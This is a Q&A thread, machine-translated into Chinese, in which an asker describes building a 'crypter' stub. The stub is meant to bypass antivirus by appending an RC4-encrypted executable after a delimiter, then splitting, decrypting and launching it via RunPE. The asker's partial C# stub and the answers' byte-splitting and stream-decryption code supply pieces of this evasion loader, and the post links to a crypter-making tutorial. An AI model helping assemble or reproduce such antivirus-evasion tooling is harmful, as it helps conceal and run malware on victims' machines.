2012-03-18 48 views
6

我遇到了一些問題,其他問題對我沒有多大幫助。在分隔符處分割一個字節數組

我是一名安全專業的學生,​​我正在努力爲一個項目寫一篇作文。對於那些不知道這是什麼的人,你可以在這裏閱讀。 http://www.gamekiller.net/tutorials-guides/17187-tut-making-crypter-vb6-using-rc4.html

不管怎麼說,一個快速的解釋,crypters是指通過加密程序,然後貼上一個「存根」,它是解密,在前面的程序以繞過反病毒程序。我在分割文件時遇到了一個令人討厭的問題。

令人煩惱的是,我必須將加密的可執行文件放入字節數組中,因爲字符串會殺死我的加密可執行文件中的某些字符,使其無法執行。更糟糕的是,我仍然需要「分割」exe文件,這是麻煩開始的地方。

存根的基本思路是:

  • 獲取當前exe文件路徑
  • 通過File.ReadAllytes
  • 分割在分隔符的文件,「EVILDELIMITER」
  • 閱讀所有字節
  • 獲取最後一個字段(因爲那是加密的EXE)
  • 使用RC4解密它
  • 使用RunPE運行。

我有一切工作,除了拆分部分,這是最煩人的。如何在分隔符處分割一個字節數組?有沒有更簡單的方法來做到這一點?

這是我迄今爲止存根的代碼。

public void main() 
{ 
    string outpath = RandomString(8) + ".exe"; 
    byte[] key = { 33, 44, 55, 66, 77 }; 
    string apppath = Assembly.GetEntryAssembly(); 
    byte[] exe = File.ReadAllBytes(apppath); 
    string strseperate = "EVILSEPERATOREVIL"; 
    System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding(); 
    byte[] seperator = encoding.GetBytes(strseperate); 
    //Split code should go here 

    exe = Decrypt(key, encrypted); 
    Process.Start(outpath); 
} 

感謝您的任何幫助。

+1

編碼爲UTF8並不理想。你可以得到無效的Unicode碼點。你應該嘗試遍歷字節數組。 – Polynomial 2012-03-18 00:53:52

+0

如何將字符串更改爲字節數組?我需要改變我的分隔符,才能搜索它,除非你知道一個函數可以讓我通過字符串值來搜索字節數組。我還修復了代碼,我不小心使用了我的舊版本。 – redcodefinal 2012-03-18 00:56:19

+0

@Roger它引發了一堆錯誤:(它說字符串沒有ToArray ()方法。 – redcodefinal 2012-03-18 01:04:16

回答

2
byte[] SeparateAndGetLast(byte[] source, byte[] separator) 
{ 
    for (var i = 0; i < source.Length; ++i) 
    { 
    if(Equals(source, separator, i)) 
    { 
     var index = i + separator.Length; 
     var part = new byte[source.Length - index]; 
     Array.Copy(source, index, part, 0, part.Length); 
     return part; 
    } 
    } 
    throw new Exception("not found"); 
} 

public static byte[][] Separate(byte[] source, byte[] separator) 
{ 
    var Parts = new List<byte[]>(); 
    var Index = 0; 
    byte[] Part; 
    for (var I = 0; I < source.Length; ++I) 
    { 
     if (Equals(source, separator, I)) 
     { 
      Part = new byte[I - Index]; 
      Array.Copy(source, Index, Part, 0, Part.Length); 
      Parts.Add(Part); 
      Index = I + separator.Length; 
      I += separator.Length - 1; 
     } 
    } 
    Part = new byte[source.Length - Index]; 
    Array.Copy(source, Index, Part, 0, Part.Length); 
    Parts.Add(Part); 
    return Parts.ToArray(); 
} 

bool Equals(byte[] source, byte[] separator, int index) 
{ 
    for (int i = 0; i < separator.Length; ++i) 
    if (index + i >= source.Length || source[index + i] != separator[i]) 
     return false; 
    return true; 
} 
+0

你的實現看起來很穩固,但是爲什麼Seperate返回一個byte [] []而不是一個普通的字節[]?我只需要最後一個字段,因爲只有一個分隔符。 – redcodefinal 2012-03-18 01:34:19

+0

use Separate(..)。Last() – 2012-03-18 01:39:45

+0

好吧,謝謝,讓我試試這個真正的快速:D – redcodefinal 2012-03-18 01:42:09

0

你的方法有很多缺陷的 - 你讀一個完整的字節[]入內存,但解密是一個流化的過程,所以你不必要浪費內存。其次,你不能在CLR中「分裂」一個數組(或者一個字符串)。當你分割一個CLR字符串時,它會創建副本,浪費內存。

試試這個:

public static void Main(String[] args) { 

    using(FileStream fs = new FileStream(@"path\to\fileName.exe", FileMode.Read)) { 

     BinaryReader rdr = new BinaryReader(fs); 
     SeekToEndOfDelimiter(rdr); 

     // Use an implementation of RC4 decryption that accepts Streams as arguments, then pass fs directly as an argument: 
     using(FileStream output = new FileStream(@"path\to\out.exe", FileMode.Write)) { 
      // Providing the key arguments is an exercise for the reader 
      MyRc4Implementation.DecryptStream(fs, output, key); 
     } 
    } 

} 

private static void SeekToEndOfDelimiter(BinaryReader rdr) { 
    // Implementing this code is an exercise left up to the reader. 
    // But just iterate through each byte (assuming ASCII-compatible encoding) until you encounter the end of the delimiter 
} 

那裏,沒有凌亂的byte []數組:)

+0

不太確定如何去實現這個。 d BianryReader之前。我也不在乎浪費內存,因爲它沒有做任何密集的事情,只是解密exe並在終止之前運行它。 – redcodefinal 2012-03-18 01:36:57

1

我知道我真的,真的遲到了,但是......當然,你可以修改如果您願意,可以輕鬆返回列表。我留下了評論/書籤以防萬一它會有幫助......這可能不是最優化/優化的代碼,但對我的特定用例非常適用,我想我會分享。

public static byte[][] SplitBytesByDelimiter(byte[] data, byte delimiter) 
    { 
     if (data == null) throw new ArgumentNullException(nameof(data)); 
     if (data.Length < 1) return null; 

     List<byte[]> retList = new List<byte[]>(); 

     int start = 0; 
     int pos = 0; 
     byte[] remainder = null; // in case data found at end without terminating delimiter 

     while (true) 
     { 
      // Console.WriteLine("pos " + pos + " start " + start); 
      if (pos >= data.Length) break; 

      if (data[pos] == delimiter) 
      { 
       // Console.WriteLine("delimiter found at pos " + pos + " start " + start); 

       // separator found 
       if (pos == start) 
       { 
        // Console.WriteLine("first char is delimiter, skipping"); 
        // skip if first character is delimiter 
        pos++; 
        start++; 
        if (pos >= data.Length) 
        { 
         // last character is a delimiter, yay! 
         remainder = null; 
         break; 
        } 
        else 
        { 
         // remainder exists 
         remainder = new byte[data.Length - start]; 
         Buffer.BlockCopy(data, start, remainder, 0, (data.Length - start)); 
         continue; 
        } 
       } 
       else 
       { 
        // Console.WriteLine("creating new byte[] at pos " + pos + " start " + start); 
        byte[] ba = new byte[(pos - start)]; 
        Buffer.BlockCopy(data, start, ba, 0, (pos - start)); 
        retList.Add(ba); 

        start = pos + 1; 
        pos = start; 

        if (pos >= data.Length) 
        { 
         // last character is a delimiter, yay! 
         remainder = null; 
         break; 
        } 
        else 
        { 
         // remainder exists 
         remainder = new byte[data.Length - start]; 
         Buffer.BlockCopy(data, start, remainder, 0, (data.Length - start)); 
        } 
       } 
      } 
      else 
      { 
       // payload character, continue; 
       pos++; 
      } 
     } 

     if (remainder != null) 
     { 
      // Console.WriteLine("adding remainder"); 
      retList.Add(remainder); 
     } 

     return retList.ToArray(); 
    }